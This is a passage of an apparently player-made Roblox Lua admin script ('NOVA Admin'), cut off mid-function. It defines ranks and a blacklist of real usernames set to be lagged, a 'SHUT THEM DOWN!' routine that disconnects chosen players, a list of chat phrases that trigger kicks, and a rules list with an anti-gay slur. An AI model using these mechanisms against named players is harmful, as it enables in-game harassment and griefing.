Advertisement
dredre144

Untitled

Mar 2nd, 2017
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 195.39 KB | None | 0 0
  1. --[[ ---------------------------Awesome weapons-------------------------------------------------------------------ulti55 ]]
  2. --[[ Please don't abuse ]]
  3. --[[ Provided by ultimate055 ]]
  4. --[[ Put your name where it says yourname ]]
  5. script.Name = "# NOVA Admin #"
  6. wait()
  7. script.Parent = Instance.new("Glue") -- Stuck!
  8. NOVA ={
  9. BadPhrases = true;
  10. Bet = "/";
  11. Services = {
  12. Game = game;
  13. RunService = game:GetService("RunService");
  14. Workspace = game:GetService("Workspace");
  15. Lighting = game:GetService("Lighting");
  16. Debris = game:GetService("Debris");
  17. Players = game:GetService("Players");
  18. Teams = game:GetService("Teams");
  19. SoundService = game:GetService("SoundService");
  20. ScriptContext = game:GetService("ScriptContext");
  21. NetworkServer = game:GetService("NetworkServer");
  22. StarterGui = game:GetService("StarterGui");
  23. StarterPack = game:GetService("StarterPack");
  24. };
  25. Ranks = {
  26. {-2,"Lagged"}; -- -2
  27. {-1,"Banned"}; -- -1
  28. {-0.5,"Scum"};
  29. {0,"Guest"}; -- 0
  30. {1,"Mod"}; -- 1
  31. {2,"Admin"}; -- 2
  32. {3,"Developer"}; -- 3
  33. {4,"Omega Admin"}; -- 4
  34. {5,"Overlord"}; -- 5
  35. {6,"OP ( Operator )"}; -- 6
  36. {7,"Creator"}; -- 7
  37. {8,"ROOT"}; -- 8
  38. };
  39. Alphabet = {
  40. "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
  41. };
  42. Ranked = {
  43. {Name = "ultimate055", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
  44. {Name = "richman20200", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
  45. {Name = "foxy782", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
  46. {Name = "MrTyler77", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
  47. {Name = "halil21", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
  48. {Name = "michael3709", Rank = 8, CMD = true, Color = Color3.new(0,0,1), Desc = "Fire"};
  49. {Name = "winx201", Rank = 8, CMD = true, Color = Color3.new(0,0,1), Desc = "NOVA"};
  50. {Name = "asd1852", Rank = 8, CMD = true, Color = Color3.new(0,0,1), Desc = "NOVA"};
  51. {Name = "MrSwagZz", Rank = 8, CMD = true, Color = Color3.new(0,0,1), Desc = "NOVA"};
  52. {Name = "freakster9", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Rule"};
  53. {Name = "HEAT507", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuse"};
  54. {Name = "ROGER109G", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuse"};
  55. {Name = "tusKOr661", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuse"};
  56. {Name = "epicalhacker123", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuser"};
  57. {Name = "SPICYJOSHIL123", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuser"};
  58. {Name = "129K", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuser"};
  59. {Name = "Thunder9003", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuser"};
  60. {Name = "ThundrBolt63", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuser"};
  61. {Name = "OhYa321", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuser"};
  62. {Name = "killerdolphin01", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuser"};
  63. {Name = "Particle", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuse"};
  64. {Name = "ColourTheory", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuser"};
  65. {Name = "blackfluffy5283", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Orb Abuser"};
  66. {Name = "Daniel800100", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Orb Abuse"};
  67. {Name = "ScripterTheory", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Orb Abuser"};
  68. {Name = "sammcool2", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Orb Abuser"};
  69. {Name = "jt93", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Orb Abuser"};
  70. {Name = "diegol123", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Orb Abuser"};
  71. {Name = "Antonious8236", Rank = 8, CMD = true, Color = Color3.new(0,0,1), Desc = "nova"};
  72. {Name = "thefuries1", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Orb Abuser"};
  73. {Name = "killerkrash334", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Orb Abuser"};
  74. {Name = "SimpleGuest", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Orb Abuser"};
  75. {Name = "legend94582", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Admin Abuser"};
  76. {Name = "jasam01", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "Nova Abuser"};
  77.  
  78. };
  79. Credit = {
  80. {Name = "NetworkClient",Why = "for the tablet function."};
  81. {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
  82. {Name = "upquark",Why = "For being a great person in life."};
  83. {Name = "toshir0z",Why = "For teaching me time control."};
  84. {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
  85. };
  86. Animations = {
  87. {Name = "Facepalm", Who = "Dylanbuil", Id = "372695cdb6a7540768234ad60ed7a298"};
  88. };
  89. Colors = {
  90. Red = Color3.new(1,0,0);
  91. PinkRed = Color3.new(1,0,0.15);
  92. Orange = Color3.new(1,0.5,0);
  93. Yellow = Color3.new(1,1,0);
  94. Green = Color3.new(0,1,0);
  95. Blue = Color3.new(0,0,1);
  96. LightBlue = Color3.new(0,1,1);
  97. Pink = Color3.new(1,0,1);
  98. Magenta = Color3.new(0.54,0,0.54);
  99. White = Color3.new(1,1,1);
  100. Grey = Color3.new(0.5,0.5,0.5);
  101. Black = Color3.new(0,0,0);
  102. };
  103. Sounds = {
  104. Sound = Instance.new("Sound");
  105. Numbers = { -- one to five ( top to bottom )
  106. "http://www.roblox.com/Asset/?id=29445305",
  107. "http://www.roblox.com/Asset/?id=29445339",
  108. "http://www.roblox.com/Asset/?id=29445358",
  109. "http://www.roblox.com/Asset/?id=29445378",
  110. "http://www.roblox.com/Asset/?id=29445395",
  111. };
  112. PlayAfter = {
  113. "http://www.roblox.com/Asset/?id=2767090",
  114. "http://www.roblox.com/Asset/?id=2800815",
  115. "http://www.roblox.com/Asset/?id=2801263",
  116. "http://www.roblox.com/Asset/?id=11984254",
  117. "http://www.roblox.com/Asset/?id=2101159",
  118. "http://www.roblox.com/Asset/?id=3087031",
  119. "http://www.roblox.com/Asset/?id=2101148",
  120. "http://www.roblox.com/Asset/?id=2233908",
  121. "http://www.roblox.com/Asset/?id=16976189",
  122. "http://www.roblox.com/Asset/?id=2101157",
  123. "http://www.roblox.com/Asset/?id=2974000",
  124. "http://www.roblox.com/Asset/?id=2703110",
  125. "http://www.roblox.com/Asset/?id=1994345",
  126. };
  127. };
  128. AncientRules = {
  129. "Thou shall not use forum scripts.",
  130. "Thou shall not use CamBall / CamSphere.",
  131. "Thou shall not use CBA.",
  132. "Thou shall not use RMDX's scripts.",
  133. "Thou shall not use antibans.",
  134. "Thou shall not abuse thou admin.",
  135. "Thou shall not steal scripts.",
  136. "Thou shall not trade scripts you didn't make.",
  137. "Thou shall not use gay scripts.",
  138. "Thou shall not abuse loopholes in the ancient rules.",
  139. };
  140. ChatFilters = {
  141.  
  142. };
  143.  
  144. KillingPhrases = {
  145. "reset"
  146. };
  147. KickingPhrases = {
  148. "\"/down\"",
  149. "/down",
  150. "/hide",
  151. "rpe/",
  152. "antiban",
  153. "ab/",
  154. "camball.",
  155. "camball.came",
  156. "camball/",
  157. "camball /","deadfield","1waffle1",
  158. "cie camball",
  159. "d33k/",
  160. "pban/",
  161. "your own camball",
  162. "created by jordan88282",
  163. "v2 camball",
  164. "cba = {}",
  165. "cba.bet",
  166. "banmenu","adminlist",
  167. "ban/",
  168. "lag/",
  169. "ban:",
  170. ":ban",
  171. "NOVA",
  172. "kick:",
  173. ":kick",
  174. "kill/",
  175. "kill:",
  176. ":kill",
  177. "commands2",
  178. "zPart0",
  179. "pban/",
  180. "iorb",
  181. "cryston",
  182. "/lag",
  183. "jordan88282", "eyeball","orb","kick/","antikick", "/explorer/"
  184. };
  185. PreviousDataKeys = {
  186. "Unlimited Gravity&accesskey=13785(G*&_version="..tostring(_VERSION),
  187. };
  188. LoadTime = {
  189. Start = tick(),
  190. Finish = tick(),
  191. };
  192. Fences = {};
  193. Jails = {};
  194. Objects = {};
  195. Commands = {};
  196. Tablets = {};
  197. Targeted = {};
  198. ExternalPlayersList = {};
  199. Waypoints = {};
  200. Log = {};
  201. LoggedScripts = {};
  202. PRI = false;
  203. LockedScripts = false;
  204. Removed = true;
  205. ShowChat = true;
  206. Canceled = false;
  207. Overrided = false;
  208. TimeChanged = false;
  209. TabletPositionRelative = false;
  210. AntiDLL = false;
  211. EnableGuests = true;
  212. UseGlobals = false;
  213. Overrider = nil;
  214. TabletRotation = 0;
  215. TabletRotationIncrease = 0.03;
  216. AccessKey = "0055";
  217. Version = "6th Generation";
  218. DataKey = "Unlimited Gravity";
  219. PRIType = "Shutdown";
  220. LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
  221. Script = script:FindFirstChild("PseudoScript"); -- or NewScript
  222. Plugins = script:GetChildren()
  223. }
  224. --[[ PLAYER PLUGINS ]]--
  225. function UpdatePlayerPlugins()
  226. if NOVA.AntiDLL == true then PlayerPlugins = [==[
  227. script.Parent = nil
  228. LocalPlayer = game:GetService("Players").LocalPlayer
  229.  
  230. game:GetService("Selection").SelectionChanged:connect(function()
  231. if LocalPlayer.Name ~= "Dylanbuil" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  232. LocalPlayer.Parent = nil
  233. LocalPlayer.Parent = game:GetService("Players")
  234. end
  235. end)
  236. coroutine.resume(coroutine.create(function()
  237. while wait() do
  238. if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  239. workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  240. LocalPlayer.Parent = nil
  241. LocalPlayer.Parent = game:GetService("Players")
  242. end
  243. end
  244. end))
  245. ]==]
  246. else
  247. PlayerPlugins = [==[
  248. script.Parent = nil
  249. LocalPlayer = game:GetService("Players").LocalPlayer
  250.  
  251. coroutine.resume(coroutine.create(function()
  252. while wait() do
  253. if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  254. workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  255. LocalPlayer.Parent = nil
  256. LocalPlayer.Parent = game:GetService("Players")
  257. end
  258. end
  259. end))
  260. ]==]
  261. end
  262. end
  263. function Color()
  264. local Choice = math.random(1, 5)
  265. if Choice == 1 then
  266. return "Institutional white"
  267. elseif Choice == 2 then
  268. return "White"
  269. elseif Choice == 3 then
  270. return "Really red"
  271. elseif Choice == 4 then
  272. return "New Yeller"
  273. elseif Choice == 5 then
  274. return "Black"
  275. end
  276. end
  277. --[[ PSEUDO FUNCTIONS ]]--
  278. function CreateLocalScript(Source, Parent)
  279. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  280. newLocalScript(Source, Parent)
  281. elseif game.PlaceId == 23232804 then
  282. NewLocalScript(Source, Parent)
  283. elseif NOVA.LocalScript ~= nil then
  284. NS = NOVA.LocalScript:Clone()
  285. NS.Name = "LocalScript"
  286. pcall(function() NS:ClearAllChildren() end)
  287. NewSource = Instance.new("StringValue",NS)
  288. NewSource.Name = "Source"
  289. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  290. NewSource.Name = "DSource"
  291. end
  292. NewSource.Value = Source
  293. NS.Parent = Parent
  294. NS.Disabled = false
  295. else
  296. print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  297. end
  298. end
  299.  
  300. function CreateScript(Source, Parent)
  301. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  302. newScript(Source, Parent)
  303. elseif game.PlaceId == 23232804 then
  304. NewScript(Source, Parent)
  305. elseif NOVA.Script ~= nil then
  306. NS = NOVA.Script:Clone()
  307. NS.Name = "Script"
  308. pcall(function() NS:ClearAllChildren() end)
  309. NewSource = Instance.new("StringValue",NS)
  310. NewSource.Name = "Source"
  311. NewSource.Value = Source
  312. NS.Parent = Parent
  313. NS.Disabled = false
  314. else
  315. print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  316. end
  317. end
  318.  
  319. function IsTargeted(Player)
  320. if type(Player) == "string" then
  321. for _,v in pairs(NOVA.Targeted) do
  322. if v.Name == Player then
  323. return true
  324. end
  325. end
  326. elseif type(Player) == "userdata" then
  327. for _,v in pairs(NOVA.Targeted) do
  328. if Player == v then
  329. return true
  330. end
  331. end
  332. else
  333. print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
  334. end
  335. return false
  336. end
  337.  
  338. --[[ DATA PERSISTANCE ]]--
  339. --[[ SYNC RANKS IN ]]--
  340. function SyncRanksIn()
  341. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  342. SyncRankInSingular(v)
  343. end
  344. end
  345. --[[ SYNC RANK IN SINGULAR ]]--
  346. function SyncRankInSingular(v)
  347. if type(v) ~= "userdata" then
  348. print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
  349. return
  350. end
  351. coroutine.resume(coroutine.create(function()
  352. repeat wait() until v.DataReady == true
  353.  
  354. if GetRankedTable(v) == nil then
  355. table.insert(NOVA.Ranked,{
  356. Name = v.Name,
  357. CMD = false,
  358. Rank = 0,
  359. Color = NOVA.Colors.Orange,
  360. Desc = "N/A",
  361. Complaints = Instance.new("Model"),
  362. Executeables = Instance.new("Model"),
  363. })
  364. end
  365.  
  366. local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
  367. local Data = GetRankedTable(v)
  368.  
  369. if PhysicalData == nil then
  370. Data.Name = v.Name
  371. Data.CMD = false
  372. Data.Rank = 0
  373. Data.Color = NOVA.Colors.Orange
  374. Data.Desc = "N/A"
  375. Data.Complaints = Instance.new("Model")
  376. Data.Executeables = Instance.new("Model")
  377. elseif PhysicalData ~= nil then
  378. pcall(function() Data.Name = v.Name end)
  379. pcall(function() Data.CMD = PhysicalData.CMD.Value end)
  380. pcall(function() Data.Rank = PhysicalData.RANK.Value end)
  381. pcall(function() Data.Color = PhysicalData.COLOR.Value end)
  382. pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
  383. pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
  384. pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
  385. if Data.CMD == nil then Data.CMD = false end
  386. if Data.Rank == nil then Data.Rank = 0 end
  387. if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
  388. if Data.Desc == nil then Data.Desc = "N/A" end
  389. if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
  390. if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
  391. end
  392. end))
  393. end
  394.  
  395. --[[ SYNC RANKS OUT ]]--
  396. function SyncRanksOut()
  397. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  398. SyncRankOutSingular(v)
  399. end
  400. end
  401.  
  402. --[[ SYNC RANK OUT SINGULAR ]]--
  403. function SyncRankOutSingular(v)
  404. coroutine.resume(coroutine.create(function()
  405. repeat wait() until v.DataReady == true
  406. local RankData = GetRankedTable(v)
  407. if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
  408. local Data = Instance.new("Model")
  409. Data.Name = "PlayerData"
  410. local CMD = Instance.new("BoolValue",Data)
  411. CMD.Name = "CMD"
  412. CMD.Value = RankData.CMD
  413. local Rank = Instance.new("NumberValue",Data)
  414. Rank.Name = "RANK"
  415. Rank.Value = RankData.Rank
  416. local Color = Instance.new("Color3Value",Data)
  417. Color.Name = "COLOR"
  418. Color.Value = RankData.Color
  419. local Desc = Instance.new("StringValue",Data)
  420. Desc.Name = "DESCRIPTION"
  421. Desc.Value = RankData.Desc
  422. local Complaints = RankData.Complaints:Clone()
  423. Complaints.Name = "COMPLAINTS"
  424. local Executeables = RankData.Executeables:Clone()
  425. Executeables.Name = "EXECUTEABLES"
  426.  
  427. v:SaveInstance(NOVA.DataKey.."&accesskey=lol4&_version="..NOVA.Version,Data)
  428. for _,v in pairs(NOVA.PreviousDataKeys) do
  429. v:SaveInstance(v,Data)
  430. end
  431. end))
  432. end
  433.  
  434. --[[ PLAYER INTERFACE ]]--
  435. function PlayerInterface(v,Speaker)
  436. RemoveTablets(Speaker)
  437. local Data = GetRankedTable(v)
  438. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
  439. Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
  440. Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
  441. Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
  442. Output("User Id : "..v.userId,Data.Color,Speaker)
  443. Output("Desc : "..Data.Desc,Data.Color,Speaker)
  444. Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
  445. Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
  446. if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
  447. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  448. function()
  449. Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  450.  
  451. end
  452. )
  453. end
  454. if GetRank(Speaker) > Data.Rank or v == Speaker then
  455. Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
  456. function()
  457. RemoveTablets(Speaker)
  458. Output("True",NOVA.Colors.Green,Speaker,nil,
  459. function()
  460. Data.CMD = true
  461. SyncRankOutSingular(v)
  462. PlayerInterface(v,Speaker)
  463. end
  464. )
  465. Output("False",NOVA.Colors.Red,Speaker,nil,
  466. function()
  467. Data.CMD = false
  468. SyncRankOutSingular(v)
  469. PlayerInterface(v,Speaker)
  470. end
  471. )
  472. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  473. function()
  474. PlayerInterface(v,Speaker)
  475. end
  476. )
  477. Output("Dismiss",NOVA.Colors.Red,Speaker)
  478. end
  479. )
  480. end
  481. if GetRank(Speaker) > Data.Rank then
  482. Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
  483. function()
  484. RemoveTablets(Speaker)
  485. for i,v in pairs(NOVA.Ranks) do
  486. if v[1] ~= 8 then
  487. Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
  488. function()
  489. RemoveTablets(Speaker)
  490. Data.Rank = v[1]
  491. SyncRankOutSingular(v)
  492. PlayerInterface(v,Speaker)
  493. end
  494. )
  495. end
  496. end
  497. Output("Dismiss",NOVA.Colors.Red,Speaker)
  498. Output("Back",NOVA.Colors.Blue,Speaker,nil,
  499. function()
  500. PlayerInterface(v,Speaker)
  501. end
  502. )
  503.  
  504. end
  505. )
  506. end
  507. if GetRank(Speaker) > Data.Rank or v == Speaker then
  508. Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
  509. function()
  510. RemoveTablets(Speaker)
  511. for i,Color in pairs(NOVA.Colors) do
  512. Output(tostring(i),Color,Speaker,nil,
  513. function()
  514. Data.Color = Color
  515. PlayerInterface(v,Speaker)
  516. SyncRankOutSingular(v)
  517. end
  518. )
  519.  
  520. end
  521. Output("Back",NOVA.Colors.Blue,Speaker,nil,
  522. function()
  523. PlayerInterface(v,Speaker)
  524. end
  525. )
  526. Output("Dismiss",NOVA.Colors.Red,Speaker)
  527. end
  528. )
  529. end
  530. Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
  531. function()
  532. RemoveTablets(Speaker)
  533. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  534. end
  535. )
  536. Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
  537. function()
  538. RemoveTablets(Speaker)
  539. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
  540. end
  541. )
  542. Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
  543. function()
  544. RemoveTablets(Speaker)
  545. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
  546. end
  547. )
  548. Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
  549. function()
  550. RemoveTablets(Speaker)
  551. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
  552. end
  553. )
  554. Output("Dismiss",NOVA.Colors.Red,Speaker)
  555. end
  556.  
  557. --[[ MAKE HINT ]]--
  558.  
  559. function makeHint(Text,Parent)
  560. coroutine.resume(coroutine.create(function()
  561. local M = Instance.new("Hint",Parent)
  562. for i = 1, string.len(Text) do
  563. M.Text = M.Text .. string.sub(Text, i, i)
  564. wait(math.random() * 0.1)
  565. end
  566. M.Text = M.Text .. ""
  567. for i = 1, math.random(2, 6) do
  568. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  569. wait(0.4)
  570. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  571. wait(0.4)
  572. end
  573. M.Text = string.sub(M.Text, 1, string.len(Text))
  574. for i = 1, string.len(M.Text) do
  575. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  576. wait()
  577. end
  578. M:Remove()
  579. end))
  580. end
  581. function makeMessage(Text,Parent)
  582. coroutine.resume(coroutine.create(function()
  583. local M = Instance.new("Message",Parent)
  584. for i = 1, string.len(Text) do
  585. M.Text = M.Text .. string.sub(Text, i, i)
  586. wait(math.random() * 0.1)
  587. end
  588. M.Text = M.Text .. ""
  589. for i = 1, math.random(2, 6) do
  590. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  591. wait(0.4)
  592. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  593. wait(0.4)
  594. end
  595. M.Text = string.sub(M.Text, 1, string.len(Text))
  596. for i = 1, string.len(M.Text) do
  597. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  598. wait()
  599. end
  600. M:Remove()
  601. end))
  602. end
  603.  
  604. --[[ EXPLORE ]]--
  605. function Explore(Thing,Speaker)
  606. if Speaker == nil then
  607. print("[NOVA.Explore] Argument 1 missing or nil.")
  608. return
  609. end
  610. pcall(function()
  611. if Thing == game or Thing == nil then
  612. RemoveTablets(Speaker)
  613. for _,v in pairs(NOVA.Services) do
  614. Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
  615. end
  616. Output("Dismiss",NOVA.Colors.Red,Speaker)
  617. else
  618. if #Thing:children() == 0 then
  619. RemoveTablets(Speaker)
  620. Explore(Thing.Parent.Parent,Speaker)
  621. else
  622. RemoveTablets(Speaker)
  623. for _,v in pairs(Thing:children()) do
  624. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  625. function()
  626. RemoveTablets(Speaker)
  627. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  628. Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  629. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  630. Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
  631. Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
  632. Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
  633. Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
  634. Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
  635. Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
  636. Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
  637. Output("Dismiss",NOVA.Colors.Red,Speaker)
  638. end
  639. )
  640. end
  641. Output("Dismiss",NOVA.Colors.Red,Speaker)
  642. end
  643. end
  644. end)
  645. end
  646.  
  647. --[[ CAPE ]]--
  648. function Cape(v)
  649. local Mode = "None"
  650. local AngleX = 0
  651. pcall(function()
  652. v.Character.Swordpack:remove()
  653. end)
  654. pcall(function()
  655. v.Character["NOVA Cape"]:remove()
  656. end)
  657.  
  658. local Main = Instance.new("Model",v.Character)
  659. Main.Name = "NOVA Cape"
  660.  
  661. pcall(function()
  662. v.Character.Swordpack:Remove()
  663. end)
  664.  
  665. local Cape = Instance.new("Part", Main)
  666. Cape.Name = "Cape"
  667. Cape.Anchored = false
  668. Cape.Locked = true
  669. Cape.CanCollide = false
  670. Cape.formFactor = "Custom"
  671. Cape.Size = Vector3.new(2, 3.5, 0.2)
  672. Cape.BrickColor = BrickColor.new("Really black")
  673. Cape.TopSurface = 0
  674. Cape.BottomSurface = 0
  675. local Decal = Instance.new("Decal", Cape)
  676. Decal.Face = "Back"
  677. Decal.Texture = ""
  678. local CapeWeld = Instance.new("Weld", Cape)
  679. CapeWeld.Part0 = v.Character.Torso
  680. CapeWeld.Part1 = Cape
  681. CapeWeld.C0 = CFrame.new(0, 1, 0.5)
  682. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
  683. v.Character.Humanoid.Running:connect(function(Speed)
  684. if Speed > 0 then
  685. Mode = "Running"
  686. else
  687. Mode = "None"
  688. end
  689. end)
  690. v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
  691. coroutine.wrap(function()
  692. while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
  693. local UpSpeed = 2.5
  694. local DownSpeed = 5
  695. local TargetAngle = 5
  696. if Mode == "Running" then
  697. TargetAngle = 45 + math.random(0, 2500) / 100
  698. elseif Mode == "Jumping" then
  699. UpSpeed = 10
  700. DownSpeed = 10
  701. TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
  702. end
  703. if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
  704. if AngleX < TargetAngle then
  705. AngleX = AngleX + UpSpeed
  706. elseif AngleX > TargetAngle then
  707. AngleX = AngleX - DownSpeed
  708. end
  709. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
  710. wait()
  711. end
  712. end)()
  713.  
  714. local LShoulder = Instance.new("Part",Main)
  715. LShoulder.Name = "Left Shoulder"
  716. LShoulder.TopSurface = "Smooth"
  717. LShoulder.BottomSurface = "Smooth"
  718. LShoulder.FormFactor = "Custom"
  719. LShoulder.Size = Vector3.new(1,0.2,1)
  720. LShoulder.BrickColor = BrickColor.new("Really black")
  721. LShoulder.Anchored = false
  722. LShoulder.Locked = true
  723. LShoulder.CanCollide = false
  724. LShoulder.Transparency = 0
  725. LShoulder.Reflectance = 0
  726. local Weld = Instance.new("Motor6D",LShoulder)
  727. Weld.Part0 = LShoulder
  728. Weld.Part1 = v.Character["Left Arm"]
  729. Weld.C0 = CFrame.new(0,-1,0)
  730.  
  731. local RShoulder = Instance.new("Part",Main)
  732. RShoulder.Name = "Right Shoulder"
  733. RShoulder.TopSurface = "Smooth"
  734. RShoulder.BottomSurface = "Smooth"
  735. RShoulder.FormFactor = "Custom"
  736. RShoulder.Size = Vector3.new(1,0.2,1)
  737. RShoulder.BrickColor = BrickColor.new("Really black")
  738. RShoulder.Anchored = false
  739. RShoulder.Locked = true
  740. RShoulder.CanCollide = false
  741. RShoulder.Transparency = 0
  742. RShoulder.Reflectance = 0
  743. local Weld = Instance.new("Motor6D",RShoulder)
  744. Weld.Part0 = RShoulder
  745. Weld.Part1 = v.Character["Right Arm"]
  746. Weld.C0 = CFrame.new(0,-1,0)
  747.  
  748. local NeckFlat = Instance.new("Part",Main)
  749. NeckFlat.Name = "NeckFlat"
  750. NeckFlat.TopSurface = "Smooth"
  751. NeckFlat.BottomSurface = "Smooth"
  752. NeckFlat.FormFactor = "Custom"
